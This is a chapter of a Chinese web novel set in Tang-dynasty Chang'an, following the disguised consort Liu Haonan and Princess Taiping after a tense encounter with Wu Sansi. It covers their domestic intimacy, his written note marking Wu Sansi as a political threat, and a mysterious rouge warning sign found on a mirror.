    太平这话夹枪带棒,直指武三思家中妻妾之事与其惯有的谄媚钻营,可谓毫不留情。武三思脸上那虚伪的笑意瞬间僵住,脸色一阵青白,尤其是当他的目光不由自主地再次掠过太平颈间那抹刺目的红痕时,眼底深处飞快地掠过一丝妒恨与更深的贪婪。那痕迹的位置、颜色,无一不昭示着不久前发生过的亲密与占有。他搭在车窗上的手指,不自觉地收紧,指节泛白。


    就在武三思脸色变幻,即将发作或强笑掩饰之际,车厢内的刘皓南动了。


    他并未出声,甚至没有看向车外的武三思。他只是倏然展臂,以一种不容抗拒却又自然至极的力道,将探身出去的太平揽回了车厢内。他的手臂横过她的腰肢,手掌稳稳地、带着明确占有意味地覆在她腰间,那是一个极具保护性和宣告性的姿势。然后,他才微微抬眸,目光透过晃动的车帘缝隙,平静地、甚至可以说是冷漠地,与车外脸色难看的武三思对视了一眼。


    那一眼没有任何言语,却比任何警告都更具压迫感。平静之下,是毫不掩饰的冰冷与森然,仿佛平静海面下蛰伏的凶兽,随时可能暴起撕碎觊觎其所有物的入侵者。那不是“薛绍”这个温文驸马该有的眼神,那是属于曾经在更残酷的规则中生存的、刘皓南的眼神。


    武三思被这一眼看得心头莫名一寒,准备好的圆场或机锋竟一时哽在喉头。他清楚地看到了刘皓南手臂揽住太平的姿势,也看到了太平被揽回时那一瞬间流露出的、近乎依赖的顺从。再结合太平颈间那刺目的痕迹,以及此刻车厢内隐隐弥漫的、与外间截然不同的亲昵紧绷氛围,他瞬间明白,自己之前的窥探与挑拨,不仅落空,反而像是亲手将把柄递到了对方面前,还亲眼见证了对方“夫妻一体”的姿态。


    一股难以言喻的羞恼和更深的嫉恨涌上心头。武三思猛地放下锦帘,从牙缝里挤出一声短促的冷哼,再也顾不上维持风度,扬起手中马鞭,狠狠抽在马臀上,朱漆钿车带着一股狼狈与怒气,绝尘而去,将公主府的车驾甩在身后扬起的尘土里。


    马车重新启动,驶入春明门。车厢内,刘皓南缓缓收回了揽在太平腰间的手,但那手掌残留的温度和力道,仿佛依旧印在那里。他重新将目光投向窗外不断后退的街景,侧脸依旧紧绷,只是方才那一瞬间迸发出的、针对武三思的冰冷锐气,已缓缓收敛,重新沉入更深的静默之中。而太平,也慢慢坐直了身体,抬手将滑落的丝巾重新系好,遮住了那抹红痕,也遮住了所有情绪。只有微微蜷起的手指,泄露了方才那一刻并不平静的心绪。


    车厢内,再次只剩下车轮碾过青石路面的单调声响,载着各怀心事的两人,驶向那座华美而森严的公主府,驶向假期结束后,必须重新面对的、属于“太平公主”与“驸马薛绍”的现实牢笼。


    暮色浸透公主府寝殿时


    氤氲的水汽在寝殿内缓缓升腾,混合着玫瑰与药草的清苦气息。太平伏在宽大的浴桶边缘,下巴搁在交叠的小臂上,任由刘皓南用细软的棉巾,一缕一缕,为她绞干湿漉漉的长发。水珠顺着她光滑的脊背滚落,没入漂浮着花瓣的水面。殿内很安静,只有棉布摩擦发丝细微的沙沙声,以及远处隐约传来的、属于长安城的、永不停歇的市井喧嚣,混着车轮碾过夜归石板路的辘辘声。


    那声音单调而规律,一下,又一下,穿过重重帘幕与高墙,固执地钻进耳朵里。


    太平半阖着眼,似乎昏昏欲睡,睫毛上还挂着细小的水珠。忽然,她没头没尾地咕哝了一句,声音因趴在手臂上而显得有些闷,带着事后的慵懒,却又奇异地混杂着一丝尚未完全褪去的、跃跃欲试的好奇:


    “方才在马车里……轱辘声那么响,一晃一晃的……” 她微微侧过脸,水光浸润的眼眸斜睨向身后正专注于手中发丝的男人,唇角勾起一个极淡的、近乎淘气的弧度,“其实……该试试的。”


    她说得含糊,但刘皓南手上的动作却猛地一顿。


    下一瞬,太平只觉得眼前景物一晃,整个人已被一股不容抗拒的力道从趴在桶沿的姿势转了过来,正对上刘皓南骤然逼近的脸。他湿漉漉的、还带着水汽的掌心托住了她的后脑,力道不轻,带着某种骤然紧绷的警告。浴桶里的水因这突然的动作哗啦漾出不少,打湿了他本就未完全系好的中衣下摆。


    他的眼眸在氤氲水汽中显得格外深黑,里面翻涌着她熟悉的、属于“刘皓南”的锐利与冰冷,那层属于“薛绍”的温润表皮,在离开乐游原、尤其是经历了春明门外那一幕后,似乎褪得格外快。


    “真这么干了,” 他开口,声音低沉,每个字都像是从喉间碾磨出来,带着清醒后权衡利弊的冷硬,“明日御史台弹劾‘驸马秽乱驰道、罔顾天家体统’的折子,能把这浴桶塞满,再淹了半个公主府。” 他盯着她的眼睛,仿佛要确认她话里有多少玩笑,多少是那个被武三思的觊觎和自己方才的占有姿态,所意外撩拨起的、不合时宜的、纯粹出于“为何不可”的大胆念头。


    太平迎着他的目光,没有闪避,也没有寻常女子谈及此事的羞怯,只有一种近乎天真的探究与未被满足的好奇,像看到新奇玩具却被告知不能触碰的孩子。这眼神,与她此刻慵懒诱人的姿态奇异地混合,形成一种更致命的挑衅。


    刘皓南看了她片刻,终究是松开了手,但紧绷的下颌线并未放松。他转身取过一旁备好的干燥寝衣,为她披上,又取来螺子黛与眉笔,示意她坐好。画眉是“薛绍”偶尔会为“太平”做的、彰显夫妻情深闺房之乐的事,此刻做来,却像是一种沉默的仪式,将两人重新拉回“公主”与“驸马”的角色。


    他执起螺子黛,笔尖悬在她眉梢,动作细致,却透着一种刻意为之的专注。寝殿内烛火跳跃,将他低垂的侧脸映得明暗不定。忽然,他手中的笔尖在她眉梢处几不可察地一顿,声音压得极低,仿佛只是自言自语,又像是某种冰冷的判断:


    “武三思今日……盯着殿下衣襟的眼神,” 他顿了顿,笔尖继续缓缓描摹,声音里听不出喜怒,只有一种近乎实质的寒意,“像饿狼嗅见了血窟窿里还冒着热气的肉。” 他太熟悉那种眼神,在草原,在战场,在权力倾轧的每一个角落。那不仅仅是男人对女人的觊觎,更是猎食者对“猎物”的贪婪,对“所有物”的掠夺欲。尤其当这“猎物”实则是披着“公主”外衣的、年轻时的杨排风时,这种被侵犯感,几乎瞬间点燃了他血液深处属于战士与守护者的暴戾。


    太平正仰着脸任他描画,闻言,眼波流转,忽然张口,不轻不重地咬住了他执笔那只手腕的内侧。牙齿陷入皮肉,留下清晰的印记,而那个位置,恰好覆盖住一道颜色略深的旧疤——那是“刘皓南”在某个已被遗忘的战场上,被流矢擦过的伤痕。


    “疼么?” 她松开齿关,舌尖无意识地舔了舔下唇,目光却依旧清亮,带着那种天真又残忍的探究,“那……薛驸马还不赶紧把你这块‘肉’,妥妥帖帖地藏进你的铠甲里?” 她的话像羽毛,轻轻搔刮在紧绷的神经上,既是对他占有宣言的回应,也是一种带着玩味的提醒——觊觎者已至,你的铠甲,你的疆界,守好了吗?


    刘皓南手腕上的肌肉微微一绷,那旧伤疤上叠着新齿印,传来细微的刺痛。他没有抽回手,只是深深看了她一眼,那一眼复杂难辨,有被挑起的怒意,有冰冷的审视,或许还有一丝……被这大胆又奇异的联结所触动的波澜。他没再说话,只是继续完成了画眉的动作,然后放下螺子黛,指尖在她眉尾那粒小小的、象征着“太平”尊贵身份的金箔花钿上,极轻地拂过。


    戌时·书房


    戌时的更鼓远远传来。书房内烛火通明,将刘皓南独自坐在书案后的身影拉长,投在满墙的书架与舆图上。乐游原的放纵气息已彻底消散,空气中只剩下墨香、纸香,以及冰冷的、属于权谋与算计的味道。


    他面前摊开的,并非寻常公文,而是一卷边角略有磨损的《乙巳占》星图,夹杂着几页不知从何处誊抄来的、字迹潦草的民间谶语。烛光下,星宿分野的线条与模糊的偈语交织,显得晦涩难明。他手中一管紫毫笔悬停,墨色浓沉,目光却落在其中一页谶语旁几句意味不明的批注上,那字迹隐约指向女主、兵戈。沉默片刻,他提笔,在旁边的空白处,以凌厉瘦硬的笔迹,添上一行小字:


    “则天皇后族侄,左卫中郎将武三思,窥伺禁脔,其心叵测。近日暗查军械案线索,屡见其门下奔走痕迹。当防其以此为由,构陷‘薛绍’,断殿下臂助,献媚于上。”


    “武三思”三字,他写得略重,墨迹几乎透纸背。他并非真正的唐人,对此人此时具体权位升迁或许并不全然清晰,但“左卫中郎将”这个实职,加上“则天皇后族侄”这层身份,以及白日里那令人作呕的、毫不掩饰的觊觎眼神,已足够他将此人标记为最需警惕的威胁之一。尤其当这威胁,可能利用“军械”这等稍有不慎便牵扯谋逆的敏感事务做文章时,其危险性直线上升。这早已不仅是情爱层面的冒犯,更是悬于头顶、淬毒的政治匕首。


    笔尖的浓墨在粗糙的纸面上微微晕开一点,形成一个不起眼的小墨团。就在这时,窗外庭院中,隐约飘来一阵轻柔的、断断续续的歌谣声,是太平在哄年幼的薛崇简入睡。她的声音与白日里那种或骄矜或慵懒的调子截然不同,带着一种刻意放软的、近乎呢喃的温柔,哼唱着不知从哪学来的民间俚曲:


    “月婆婆,照山河;金戈戈,斩阎罗……”


    “阎罗”二字传入耳中的刹那,刘皓南悬在纸上的笔尖猛地一顿。一点浓重的墨汁,不受控制地滴落在刚刚写下的“阎罗”二字之上,迅速洇开,化为一个狰狞的点,恰似白日武三思车驾离去时,车轮在尘土中留下的、充满恶意的刮痕。


    他盯着那团刺目的墨痕,眸色转深。窗外,太平哼唱的歌谣声渐渐低下去,终不可闻。寝殿的方向,隐约传来孩童平稳的呼吸声,以及母亲轻柔的拍抚。而这边的书房,却仿佛被无形的冰冷所笼罩。


    良久,他放下笔,揉了揉眉心,目光无意识地投向书案一侧的妆台铜镜。镜中映出他此刻紧蹙的眉峰,以及眼底尚未散尽的冷厉与思索。


    忽然,他的目光凝住了。


    光滑的铜镜镜面上,不知何时,被人用指尖蘸着某种嫣红的膏体,画下了一道歪歪扭扭、却笔画分明的奇特符号。那红色鲜艳刺目,是女子唇上用的胭脂。而那符号——刘皓南绝不会认错——正是那夜在长安城高高的望楼之上,他指着远方黑暗中可能存在的契丹探子哨位,低声教她辨认的、契丹游骑用以示警的“狼烟”记号简化符形!


    镜面如水,倒映着他骤变的脸色。那嫣红的、幼稚却执拗的“狼烟”记号,静静地映在镜中,也仿佛烙在了他的眼底。这绝非巧合。是提醒?是警告?还是那个看似沉溺于情爱、娇纵任性的太平公主,在用这种方式,告诉他,她看见了武三思那“饿狼”般的眼神,也感知到了那平静水面下的暗流汹涌?


    寝殿方向,灯火温暖,孩童安睡,母亲哼唱的歌谣余韵似乎仍在夜风中飘荡。而书房之内,烛火噼啪炸开一朵灯花,映着镜中那抹刺目的胭脂红,与书卷上那团洇开的“阎罗”,无声地对峙。


    长夜,似乎刚刚开始。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)